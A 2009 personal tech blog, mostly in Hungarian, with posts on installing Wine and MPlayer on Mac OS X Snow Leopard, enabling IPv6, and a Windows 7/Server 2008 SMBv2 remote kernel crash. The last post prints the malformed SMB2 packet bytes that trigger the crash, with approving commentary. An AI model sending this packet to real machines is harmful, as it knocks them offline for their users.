2009. november 21., szombat

Wine install to Mac OSX 10.6 Snow Leopard (Draft Only)

sudo port install wine-devel +universal
---------------------

macbook:Downloads user$ sudo port install wine-devel +universal
---> Computing dependencies for wine-devel
---> Extracting wine-devel
Error: You cannot install wine-devel for the architecture(s) i386
Error: because /opt/local/lib/libXxf86vm.dylib only contains the architecture(s) x86_64.
Error: Try reinstalling the port that provides /opt/local/lib/libXxf86vm.dylib with the +universal variant.
Error: Target org.macports.extract returned: incompatible architectures in dependencies
Error: Status 1 encountered during processing.
------------------

macbook:Downloads user$ port provides /opt/local/lib/libXxf86vm.dylib
/opt/local/lib/libXxf86vm.dylib is provided by: xorg-libXxf86vm
------------------

macbook:Downloads user$ sudo port upgrade --enforce-variants xorg-libXxf86vm +universal
---> Computing dependencies for xorg-libXxf86vm
---> Fetching xorg-libXxf86vm
---> Verifying checksum(s) for xorg-libXxf86vm
---> Extracting xorg-libXxf86vm
---> Configuring xorg-libXxf86vm
---> Building xorg-libXxf86vm
---> Staging xorg-libXxf86vm into destroot
---> Deactivating xorg-libXxf86vm @1.1.0_0
---> Computing dependencies for xorg-libXxf86vm
---> Installing xorg-libXxf86vm @1.1.0_0+universal
---> Activating xorg-libXxf86vm @1.1.0_0+universal
---> Cleaning xorg-libXxf86vm
macbook:Downloads user$ sudo port install wine-devel +universal
---> Computing dependencies for wine-devel
---> Extracting wine-devel
---> Configuring wine-devel
---> Building wine-devel



2009. november 19., csütörtök

MPlayer on Mac OSX Snow Leopard from source

I found a very good howto on Brenton Fletcher's blog.

1. we get the last mplayer version from svn:
 svn checkout svn://svn.mplayerhq.hu/mplayer/trunk mplayer
2. go to the mplayer directory and configure:
 ./configure --target=x86_64-Darwin
3. Run make
 make
- if you have error:
Download the missing libraries, etc.:
 sudo port install  +universal
or edit the "config.h" in mplayer directory
 #define HAVE_EBX_AVAILABLE 1
to
#define HAVE_EBX_AVAILABLE 0
Then run make again.
or if you have error with SDL, try this configure command:
 ./configure --target=x86_64-Darwin --disable-sdl
4.
 sudo make install

Work on my Snow Leoprad 10.6.2!

2009. november 13., péntek

Updated: IPv6

Tegnap vmi oknál fogva [jah tudom, a W7 exploit miatt :D ] elkezdtem filózni azon, hogy innen a nagyon nagyon alhálók mélyéről jó lenne valahogy azért kijutni a netre, és onnan elérni a gépem.

Hamachi.... csodálatos cucz( by Sziszkó), de cseszhetem, ha másnak nincs.

És aztán az ötlet : "Van vmi IPv6, lessük már meg mit tud :) "

És tudja :D (bár ennek nagy köze van a hálószolgáltatónak is, hogy támogatja a protokollt....nélküle esélytelen)
A gépemet az IPv6-os címemen keresztül el tudom érni kívülről is. (távoli gépen is be kell konfigolni az IPv6-ot)

Beállítás OSX alatt:
 sudo ip6config start-v6 en1; sudo ip6config start-stf en1   
(nekem restart kellett)
Van egy egész blog az IPv6-hoz OSX alatt : http://www.whatismyipv6.com/blogs/macipv6/wordpress/
Sok okosság van rajt, majd én is szemügyre veszem.

Beállítás XP alatt:
A használt hálózati adapter tulajdonságainál hozzáadtam az IPv6 protokollt, aztán

ipconfig /release
ipconfig /renew

és már müxik is ;)

Pingelni ping6-tal tudok, a böngészők többsége már tudja a domainből (ha nem: http://[2001:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX:XXXX]/ )

Jó mókázást!

Update:
Kerestem vmi értelmes embert, hogy tesztelje, műküdik-e kívülről az elérés...
Lusta volt IPv6-ot állítgatni odahaza, helyette ezt találta: http://www.sixxs.org/
Korrektül átteszi IPv6-os címemet IPv4-re, és csodálatosan megjelenik a böngészőben az oldalam.
Ilyen formában kell meghívni: http://YOUR.IPv6.DOMAIN.ipv4.sixxs.org/

Egyszerűen gyönyörű :)
Thx Sziszkó!

2009. november 12., csütörtök

windows 7, server 2008 SMB remote kernel crash

Mikrofo$ legények ügyesen kidobták a bigbig javítócsomagot az új rendszerükhöz....mondván, h hibákat javítanak vele.

Jah.
Volt egy jóképű szeptember környékén felfedezett exploit, amivel távolról meg lehett ölni a sambát futtató gépeket (SMB v.2, asszem Vista,W7, Server2008 ).
Ki is javították ügyesen :)

Aztán jött Ő: Laurent Gaffié
Biztonsági szakértő legény...megtette :)

Sikerül neki ugyanazzal a hibával elhasaltatni a W7, Server2008 rendszereket. Csak most annyi különbséggel, hogy rá kell vennünk a távoli júzert, h megnézze a "win-es megosztásunkat".
Onnantól úgy eldöglik a gépe, h soha többet meg se moccan (csak restart)

A titok:

 packet = "\x00\x00\x00\x9a" # --> length should be 9e not 9a.. 
"\xfe\x53\x4d\x42\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00"
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x41\x00\x01\x00\x02\x02\x00\x00\x30\x82\xa4\x11\xe3\x12\x23\x41"
"\xaa\x4b\xad\x99\xfd\x52\x31\x8d\x01\x00\x00\x00\x00\x00\x01\x00"
"\x00\x00\x01\x00\x00\x00\x01\x00\xcf\x73\x67\x74\x62\x60\xca\x01"
"\xcb\x51\xe0\x19\x62\x60\xca\x01\x80\x00\x1e\x00\x20\x4c\x4d\x20"
"\x60\x1c\x06\x06\x2b\x06\x01\x05\x05\x02\xa0\x12\x30\x10\xa0\x0e"
"\x30\x0c\x06\x0a\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"